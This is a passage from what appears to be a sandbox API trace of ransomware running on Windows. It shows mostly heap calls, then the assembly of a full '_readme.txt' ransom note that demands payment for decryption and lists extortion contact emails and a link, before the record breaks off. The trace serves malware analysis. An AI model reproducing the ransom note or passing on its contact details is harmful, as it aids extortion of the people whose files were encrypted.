(HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.535] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0111.535] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.536] PathFindFileNameW (pszPath="") returned="" [0111.536] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.536] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.536] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.536] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.536] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0111.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.536] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0111.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.536] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.537] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.537] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 